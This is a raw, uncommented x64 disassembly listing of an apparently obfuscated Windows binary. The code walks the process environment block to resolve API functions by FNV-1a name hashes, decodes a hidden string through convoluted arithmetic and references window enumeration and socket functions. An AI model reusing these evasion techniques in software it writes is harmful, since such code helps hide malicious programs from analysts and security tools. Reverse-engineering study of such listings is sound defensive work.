mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010e5b9
cmp qword [rax + 0x30], r12
jne 0x14010e48d
mov rdx, r12
mov qword [0x14017c6d8], rdx
xor ecx, ecx
call rdx
cmp qword [0x14017c6d0], r12
jne 0x14010e72c
mov esi, r12d
mov r14d, 0xa52bcaf9
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010e63b
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010e62e
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010e61f
cmp edx, esi
jne 0x14010e70d
mov r10, qword [rdi + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010e70d
mov r9d, dword [r11 + 0x18]
test r9d, r9d
je 0x14010e70d
mov ebx, dword [r11 + 0x20]
dec r9d
lea rdx, [r10 + r9*4]
mov r8d, dword [rdx + rbx]
add r8, r10
mov edx, 0x811c9dc5
jmp 0x14010e68f
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010e684
cmp edx, r14d
je 0x14010e6a5
test r9d, r9d
jne 0x14010e66f
jmp 0x14010e70d
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + r9*2]
mov r9d, dword [r8 + rdx*4]
add r9, r10
cmp r9, r11
jbe 0x14010e725
lea rcx, [r11 + rax]
cmp r9, rcx
jae 0x14010e725
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r9]
cmp al, 0x2e
je 0x14010e700
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r9, rcx
jmp 0x14010e6dc
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r9, rcx
mov al, byte [r9]
test al, al
jne 0x14010e6f3
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010e722
cmp qword [rax + 0x30], r12
jne 0x14010e5f4
mov r9, r12
mov qword [0x14017c6d0], r9
mov r8, qword [0x14017c700]
test r8, r8
jne 0x14010e7a0
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r10, qword [rax]
mov r8, r10
mov rcx, qword [r8 + 0x60]
movzx eax, word [r8 + 0x58]
shr rax, 1
lea r9, [rcx + rax*2]
mov edx, 0x811c9dc5
cmp rcx, r9
je 0x14010e785
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r9
jne 0x14010e769
cmp edx, 0x610c0de3
je 0x14010e7f6
mov rax, qword [r8]
mov r8, rax
cmp rax, r10
je 0x14010e796
cmp qword [rax + 0x30], r12
jne 0x14010e74f
mov r8, r12
mov qword [0x14017c700], r8
movsxd rax, dword [r8 + 0x3c]
mov r10d, dword [rax + r8 + 0x88]
mov r9d, r12d
mov r11d, dword [r10 + r8 + 0x20]
mov ebx, 1
mov eax, r9d
lea rcx, [r8 + rax*4]
mov edx, dword [rcx + r11]
add rdx, r8
mov ecx, 0x811c9dc5
mov al, byte [rdx]
add rdx, rbx
test al, al
je 0x14010e7f1
movsx eax, al
xor eax, ecx
imul ecx, eax, 0x1000193
mov al, byte [rdx]
add rdx, rbx
test al, al
jne 0x14010e7d5
cmp ecx, 0xe463da3c
je 0x14010e7fc
add r9d, ebx
jmp 0x14010e7b9
mov r8, qword [r8 + 0x30]
jmp 0x14010e799
mov edx, dword [r10 + r8 + 0x1c]
add rdx, r8
mov ecx, dword [r10 + r8 + 0x24]
add rcx, r8
mov eax, r9d
movzx ecx, word [rcx + rax*2]
mov eax, dword [rdx + rcx*4]
add rax, r8
xor ecx, ecx
call rax
mov r12, rax
mov r10, qword [0x14017c778]
xor ebx, ebx
test r10, r10
jne 0x14010e99a
mov esi, ebx
mov r14d, 0x820621f3
mov rcx, qword gs:[0x60]
mov rdx, qword [rcx + 0x18]
mov rcx, qword [rdx + 0x10]
mov r15, qword [rcx]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010e898
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010e88b
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010e87c
cmp edx, esi
jne 0x14010e97b
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r11d, eax
add r11, r9
shr rax, 0x20
cmp r11, r9
je 0x14010e97b
mov r10d, dword [r11 + 0x18]
test r10d, r10d
je 0x14010e97b
mov ebx, dword [r11 + 0x20]
dec r10d
lea rdx, [r9 + r10*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010e8ec
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010e8e1
cmp edx, r14d
je 0x14010e904
test r10d, r10d
jne 0x14010e8cc
xor ebx, ebx
jmp 0x14010e97b
mov r8d, dword [r11 + 0x1c]
add r8, r9
mov edx, dword [r11 + 0x24]
add rdx, r9
movzx edx, word [rdx + r10*2]
mov r10d, dword [r8 + rdx*4]
add r10, r9
cmp r10, r11
jbe 0x14010ea0c
lea rcx, [r11 + rax]
cmp r10, rcx
jae 0x14010ea0c
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r10]
cmp al, 0x2e
je 0x14010e95a
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r10, rcx
jmp 0x14010e943
add r10, rcx
xor ebx, ebx
jmp 0x14010e971
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r10, rcx
mov al, byte [r10]
test al, al
jne 0x14010e961
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010e990
cmp qword [rax + 0x30], rbx
jne 0x14010e851
mov r10, rbx
mov qword [0x14017c778], r10
lea r9, [rbp + 0x584]
mov edx, 0x5000
mov r8d, 1
mov rcx, r12
call r10
mov r8, qword [0x14017c6f8]
test r8, r8
jne 0x14010eb26
mov esi, ebx
mov r14d, 0x33b00bc5
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010ea2c
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010ea1f
xor ebx, ebx
jmp 0x14010e993
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010ea10
cmp edx, esi
jne 0x14010eb07
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010eb07
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010eb07
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010ea80
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010ea75
cmp edx, r14d
je 0x14010ea98
test r11d, r11d
jne 0x14010ea60
xor ebx, ebx
jmp 0x14010eb07
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov r8d, dword [r8 + rdx*4]
add r8, r9
cmp r8, r10
jbe 0x14010eb1f
lea rcx, [r10 + rax]
cmp r8, rcx
jae 0x14010eb1f
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [r8]
cmp al, 0x2e
je 0x14010eae6
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add r8, rcx
jmp 0x14010eacf
add r8, rcx
xor ebx, ebx
jmp 0x14010eafd
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add r8, rcx
mov al, byte [r8]
test al, al
jne 0x14010eaed
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010eb1c
cmp qword [rax + 0x30], rbx
jne 0x14010e9e1
mov r8, rbx
mov qword [0x14017c6f8], r8
mov edx, 0x5000
mov rcx, r12
call r8
mov qword [0], 0x99
mov r12, qword [rsp + 0x60]
add r12, 8
mov qword [rsp + 0x60], r12
cmp r12, qword [rbp - 0x40]
jne 0x14010d46b
mov r13d, 0xcded1a85
lea rcx, [rbp + 0x598]
call fcn.1400dea58
mov r15d, 1
mov byte [0x14017befc], r15b
xor edx, edx
lea rcx, [0x1400f3370]
call qword [sym.imp.USER32.dll_EnumWindows]
call fcn.1400ee5e4
xor r12d, r12d
test al, al
jne 0x140110097
mov byte [rbp + 0x130], 0x66
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x131], xmm0
mov word [rbp + 0x141], ax
mov dil, byte [rsp + 0x50]
call fcn.140158170
mov rbx, qword [rax]
call fcn.140158178
mov r10, qword [rax]
mov r9, r12
cmp r9, 0x13
jae 0x14010f3e1
movzx r8d, byte [rbp + r9 + 0x130]
mov edx, r8d
cmp rbx, r9
ja 0x14010f3d8
lea rax, [r10 + 1]
cmp rbx, rax
jae 0x14010ec10
movabs rcx, 0x352ddab4aac75631
add rcx, r9
mov rax, rcx
and rax, rdx
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, rdx
sub dil, 0x57
jmp 0x14010ec4a
je 0x14010f37f
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010f334
lea rax, [r10 + 5]
cmp rbx, rax
je 0x14010f30b
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010f2ed
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010f2d2
cmp r10, r9
ja 0x14010f3cf
lea rax, [r10 + 0x28]
cmp rbx, rax
jae 0x14010ec73
lea ecx, [r9 + 5]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x23
jmp 0x14010ecb4
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010f298
lea rax, [r10 + 2]
cmp rbx, rax
je 0x14010f280
lea rax, [r10 + 6]
cmp rbx, rax
je 0x14010f265
lea rax, [r10 + 4]
cmp rbx, rax
je 0x14010f21a
lea rax, [r10 + 3]
cmp rbx, rax
je 0x14010f1fd
lea rax, [r10 + rbx]
cmp rax, r9
jbe 0x14010ef49
lea rax, [r10 + 0x5a]
cmp rbx, rax
je 0x14010ef2c
lea rax, [r10 + 9]
cmp rbx, rax
je 0x14010ef12
lea rax, [r10 + 0x200]
cmp rbx, rax
je 0x14010eef8
lea rax, [r10 + 1]
cmp rbx, rax
je 0x14010eedb
lea rax, [r10 + 0x10]
cmp rbx, rax
je 0x14010ecc1
mov rbx, rax
lea r10, [rax + 0x10]
lea rax, [r10 + 0x400]
cmp rbx, rax
jb 0x14010f3b3
lea rax, [r10 + 3]
cmp rbx, rax
jb 0x14010ed89
lea rax, [r10 + 0x28]
cmp rbx, rax
jb 0x14010ee34
lea rax, [r10 + 0x61]
cmp rbx, rax
jb 0x14010ee12
mov rbx, rax
lea r10, [rax + 5]
lea rax, [r10 + 5]
cmp rbx, rax
ja 0x14010edf4
lea rax, [r10 + 0x42]
cmp rbx, rax
ja 0x14010edd7
lea rax, [r10 + 0x41]
cmp rbx, rax
ja 0x14010edbd
lea rax, [r10 + 8]
cmp rbx, rax
ja 0x14010eda3
lea rax, [r10 + 0x80]
cmp rbx, rax
ja 0x14010ecc1
mov rbx, rax
lea r10, [rax + 0x80]
jmp 0x14010ecc1
lea ecx, [r9 + 0x39]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x71
jmp 0x14010ec4a
lea ecx, [r9 - 0x3a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x6a
jmp 0x14010f2e8
lea ecx, [r9 - 0x60]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x60
jmp 0x14010f321
lea ecx, [r9 - 0x24]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 4
mov r11b, r9b
jmp 0x14010f235
lea edx, [r9 + 0x18]
mov ecx, Ordinal_45
mov al, dl
and al, r8b
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f39c
lea ecx, [r9 + 0x23]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0xb
mov byte [rbp + r9 + 0x130], dil
jmp 0x14010f3ab
lea ecx, [r9 - 3]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x15
lea rax, [r10 + rbx]
cmp rax, 0xa
je 0x14010f1e8
lea rax, [r10 + 0xa]
cmp rbx, rax
jbe 0x14010f033
lea ecx, [r9 - 0x53]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x45
cmp rbx, 0x1000
jae 0x14010f19e
lea rax, [r10 + 0x1000]
cmp rbx, rax
jbe 0x14010f0cc
lea edx, [r9 - 0x4e]
mov al, dl
and al, r8b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
cmp r10, 6
jb 0x14010ee27
mov r11b, r9b
lea edx, [r11 - 0x7a]
mov al, r8b
and al, dl
add al, al
mov cl, r8b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 0x54]
jmp 0x14010f2b3
mov r11b, r9b
lea ecx, [r11 + 0x5a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x76
jmp 0x14010f235
lea ecx, [r9 - 0x6a]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x1a
jmp 0x14010f321
lea ecx, [r9 + 0x70]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x10
jmp 0x14010f2e8
lea ecx, [r9 + 0xe]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x62
mov r11b, r9b
jmp 0x14010f2b3
lea rax, [r10 + 0x41]
cmp rbx, rax
jae 0x14010ef6c
lea ecx, [r9 + 0x31]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x57
jmp 0x14010ee49
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010ef8f
lea ecx, [r9 + 0xa]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x46
jmp 0x14010f39c
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010efb6
lea edx, [r9 + 0x6c]
mov al, dl
and al, r8b
mov ecx, 6
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f351
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010efe0
mov r11b, r9b
lea edx, [r11 - 0x32]
mov al, dl
and al, r8b
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f235
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010f005
lea edx, [r9 - 0x6e]
mov al, dl
and al, r8b
mov ecx, r15d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f321
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010ee49
mov r11b, r9b
lea edx, [r11 + 0x1a]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r8b
jmp 0x14010f2b3
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f059
mov r11b, r9b
lea ecx, [r11 + 0xf]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x69
jmp 0x14010f2b3
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f07c
lea ecx, [r9 - 0x2d]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x3b
jmp 0x14010f303
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010f0a2
lea ecx, [r9 + 0x35]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x73
mov r11b, r9b
jmp 0x14010f1c1
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010ee79
mov r11b, r9b
lea ecx, [r11 + 0x5b]
mov al, cl
and al, r8b
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 0x7d
jmp 0x14010f235
lea rax, [r10 + 1]
cmp rbx, rax
jne 0x14010f0e3
lea edx, [r9 + 0x14]
mov ecx, Ordinal_60
jmp 0x14010edfd
lea rax, [r10 + 2]
cmp rbx, rax
jne 0x14010f10a
mov r11b, r9b
lea edx, [r11 - 0x28]
mov al, r8b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
jmp 0x14010f232
lea rax, [r10 + 5]
cmp rbx, rax
jne 0x14010f12e
lea ecx, [r9 - 0x64]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x44
jmp 0x14010f321
lea rax, [r10 + 3]
cmp rbx, rax
jne 0x14010f14f
mov r11b, r9b
lea edx, [r11 - 2]
mov al, r8b
and al, dl
mov ecx, 7
sub cl, al
lea edi, [rcx + rcx]
jmp 0x14010f1bb
lea rax, [r10 + 4]
cmp rbx, rax
jne 0x14010f176
lea edx, [r9 + 0x60]
mov al, r8b
and al, dl
mov ecx, Ordinal_50
sub cl, al
lea edi, [rcx + rcx]
add dil, r8b
add dil, dl
jmp 0x14010f303
lea rax, [r10 + 7]
cmp rbx, rax
jne 0x14010eeaf
lea ecx, [r9 - 0x3e]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x4e
jmp 0x14010f2e8
mov r11b, r9b
lea edx, [r11 - 0x18]
mov al, r8b
and al, dl
add al, al
mov dil, byte [rbp + r9 + 0x130]
sub dil, al
sub dil, 0x58
add dil, r8b
add dil, dl
add r11b, 0x19
mov al, r11b
and al, r8b
add al, al
mov cl, dil
sub cl, al
add cl, 0x51
add cl, r11b
add cl, r8b
mov byte [rbp + r9 + 0x130], cl
jmp 0x14010f321
mov r11b, r9b
lea ecx, [r11 + 0x4a]
mov al, r8b
and al, cl
add al, al
sub cl, al
lea edi, [rcx - 6]
jmp 0x14010f235
lea edx, [r9 + 0x15]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x6d
add dil, dl
jmp 0x14010f351
mov r11b, r9b
lea edx, [r11 - 0x4d]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x1b
add dil, dl
add r11b, 0x7b
mov al, r11b
and al, r8b
add al, al
sub r11b, al
sub r11b, 0x5d
add r11b, r8b
movzx eax, r11b
mov byte [rbp + r9 + 0x130], al
add r10, r15
add rax, r10
sub r9, rax
jmp 0x14010f351
lea ecx, [r9 + 0x51]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x37
jmp 0x14010f324
lea ecx, [r9 + 0x2b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x2d
jmp 0x14010f303
mov r11b, r9b
lea edx, [r11 + 0x67]
mov al, r8b
and al, dl
add al, al
mov dil, r8b
sub dil, al
add dil, 0x2f
add dil, dl
sub r11b, 0x49
mov al, r8b
and al, r11b
add al, al
sub r8b, al
add r8b, r11b
sub r8b, r15b
mov byte [rbp + r9 + 0x130], r8b
jmp 0x14010f2e8
lea ecx, [r9 + 0x41]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x39
add r10, r15
jmp 0x14010f303
lea ecx, [r9 - 0x21]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
sub dil, 0x19
sub r9, r15
jmp 0x14010f3ab
lea ecx, [r9 + 0x1b]
mov al, r8b
and al, cl
add al, al
sub r8b, al
lea edi, [rcx + r8]
add dil, 0x43
add rbx, r10
movzx eax, dil
or rcx, 0xffffffffffffffff
sub rcx, rax
add r9, rcx
jmp 0x14010f3ab
movabs rcx, 0x9e5458755e4aef5
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
add dil, 0x4d
lea edx, [r9 - 0x54]
mov al, dl
and al, r8b
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, dl
add cl, r8b
mov byte [rbp + r9 + 0x130], cl
add rbx, r15
or rax, 0xffffffffffffffff
sub rax, rbx
add r9, rax
jmp 0x14010f39c
movabs rcx, 0x9f89901e00560293
add rcx, r9
mov al, cl
and al, dl
add al, al
sub cl, al
lea edi, [r8 + rcx]
sub dil, 5
movzx eax, byte [rbp + r9 + 0x130]
add rax, r10
add r9, rax
add r9, r15
jmp 0x14010ebc5
add r9b, 0x13
mov al, r8b
and al, r9b
add al, al
sub r8b, al
lea edi, [r9 + r8]
add dil, 0x7b
jmp 0x14010ebb2
lea rdx, [rbp + 0x16dea1c]
jmp 0x14010f3e8
lea rdx, [rbp + 0x75404d]
jmp 0x14010f3e8
lea rdx, [rbp + 0x130]
lea rcx, [rbp + 0x110]
call fcn.140051148
mov rcx, rax
call fcn.140146738
mov rdx, qword [0x14017c650]
test rdx, rdx
jne 0x14010f55c
mov esi, r12d
mov r14d, 0xcded1a85
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
movups xmm0, xmmword [rcx + 0x58]
movd eax, xmm0
sub ax, 8
mov r13d, 0x811c9dc5
test esi, esi
je 0x14010f474
psrldq xmm0, 8
movq rdx, xmm0
movzx eax, ax
shr rax, 1
lea r9, [rdx + rax*2]
mov r8d, r13d
jmp 0x14010f466
movsx eax, byte [rdx]
xor eax, r8d
imul r8d, eax, 0x1000193
add rdx, 2
cmp rdx, r9
jne 0x14010f455
cmp r8d, esi
jne 0x14010f547
mov r10, qword [rcx + 0x30]
movsxd rax, dword [r10 + 0x3c]
mov rax, qword [rax + r10 + 0x88]
mov r11d, eax
add r11, r10
shr rax, 0x20
cmp r11, r10
je 0x14010f547
mov ebx, dword [r11 + 0x18]
test ebx, ebx
je 0x14010f547
mov edi, dword [r11 + 0x20]
dec ebx
lea r8, [r10 + rbx*4]
mov r9d, dword [r8 + rdi]
add r9, r10
mov r8d, r13d
jmp 0x14010f4c6
movsx edx, dl
xor edx, r8d
imul r8d, edx, 0x1000193
mov dl, byte [r9]
add r9, r15
test dl, dl
jne 0x14010f4b9
cmp r8d, r14d
je 0x14010f4db
test ebx, ebx
jne 0x14010f4a7
jmp 0x14010f547
mov r8d, dword [r11 + 0x1c]
add r8, r10
mov edx, dword [r11 + 0x24]
add rdx, r10
movzx edx, word [rdx + rbx*2]
mov edx, dword [r8 + rdx*4]
add rdx, r10
cmp rdx, r11
jbe 0x14010f54f
lea rcx, [r11 + rax]
cmp rdx, rcx
jae 0x14010f54f
mov esi, r13d
mov r14d, r13d
jmp 0x14010f518
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
cmp al, 0x2e
jne 0x14010f50a
jmp 0x14010f52d
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, r15
mov al, byte [rdx]
test al, al
jne 0x14010f520
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rcx, qword [rcx + 0x10]
mov rcx, qword [rcx]
jmp 0x14010f426
mov qword [0x14017c650], rdx
mov r13d, 0xcded1a85
mov ecx, 0x99
call rdx
mov rbx, qword [0x14017c6f0]
test rbx, rbx
jne 0x14010f6c9
mov esi, r12d
mov r14d, 0xf84eee59
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010f5da
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010f5cd
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010f5be
cmp edx, esi
jne 0x14010f6aa
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010f6aa
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010f6aa
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010f62e
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010f623
cmp edx, r14d
je 0x14010f644
test r11d, r11d
jne 0x14010f60e
jmp 0x14010f6aa
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov ebx, dword [r8 + rdx*4]
add rbx, r9
cmp rbx, r10
jbe 0x14010f6c2
lea rcx, [rax + r10]
cmp rbx, rcx
jae 0x14010f6c2
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rbx]
cmp al, 0x2e
je 0x14010f69e
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rbx, rcx
jmp 0x14010f67b
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rbx, rcx
mov al, byte [rbx]
test al, al
jne 0x14010f691
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010f6bf
cmp qword [rax + 0x30], r12
jne 0x14010f593
mov rbx, r12
mov qword [0x14017c6f0], rbx
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov rcx, rax
call rbx
mov rdx, qword [0x14017c6e8]
test rdx, rdx
jne 0x14010f83c
mov esi, r12d
mov r14d, 0xb3002016
mov rax, qword gs:[0x60]
mov rcx, qword [rax + 0x18]
mov rax, qword [rcx + 0x10]
mov r15, qword [rax]
mov rdi, r15
movups xmm0, xmmword [rdi + 0x58]
movd eax, xmm0
sub ax, 8
test esi, esi
je 0x14010f74d
psrldq xmm0, 8
movq rcx, xmm0
movzx eax, ax
shr rax, 1
lea r8, [rcx + rax*2]
mov edx, 0x811c9dc5
jmp 0x14010f740
movsx eax, byte [rcx]
xor eax, edx
imul edx, eax, 0x1000193
add rcx, 2
cmp rcx, r8
jne 0x14010f731
cmp edx, esi
jne 0x14010f81d
mov r9, qword [rdi + 0x30]
movsxd rax, dword [r9 + 0x3c]
mov rax, qword [rax + r9 + 0x88]
mov r10d, eax
add r10, r9
shr rax, 0x20
cmp r10, r9
je 0x14010f81d
mov r11d, dword [r10 + 0x18]
test r11d, r11d
je 0x14010f81d
mov ebx, dword [r10 + 0x20]
dec r11d
lea rdx, [r9 + r11*4]
mov r8d, dword [rdx + rbx]
add r8, r9
mov edx, 0x811c9dc5
jmp 0x14010f7a1
movsx ecx, cl
xor ecx, edx
imul edx, ecx, 0x1000193
mov cl, byte [r8]
inc r8
test cl, cl
jne 0x14010f796
cmp edx, r14d
je 0x14010f7b7
test r11d, r11d
jne 0x14010f781
jmp 0x14010f81d
mov r8d, dword [r10 + 0x1c]
add r8, r9
mov edx, dword [r10 + 0x24]
add rdx, r9
movzx edx, word [rdx + r11*2]
mov edx, dword [r8 + rdx*4]
add rdx, r9
cmp rdx, r10
jbe 0x14010f835
lea rcx, [rax + r10]
cmp rdx, rcx
jae 0x14010f835
mov eax, 0x811c9dc5
mov esi, eax
mov r14d, eax
mov ecx, 1
mov al, byte [rdx]
cmp al, 0x2e
je 0x14010f811
movsx eax, al
xor eax, esi
imul esi, eax, 0x1000193
add rdx, rcx
jmp 0x14010f7ee
movsx eax, al
xor eax, r14d
imul r14d, eax, 0x1000193
add rdx, rcx
mov al, byte [rdx]
test al, al
jne 0x14010f804
mov rdi, qword [r15]
mov rax, qword [rdi]
mov rdi, rax
cmp rax, r15
je 0x14010f832
cmp qword [rax + 0x30], r12
jne 0x14010f706
mov rdx, r12
mov qword [0x14017c6e8], rdx
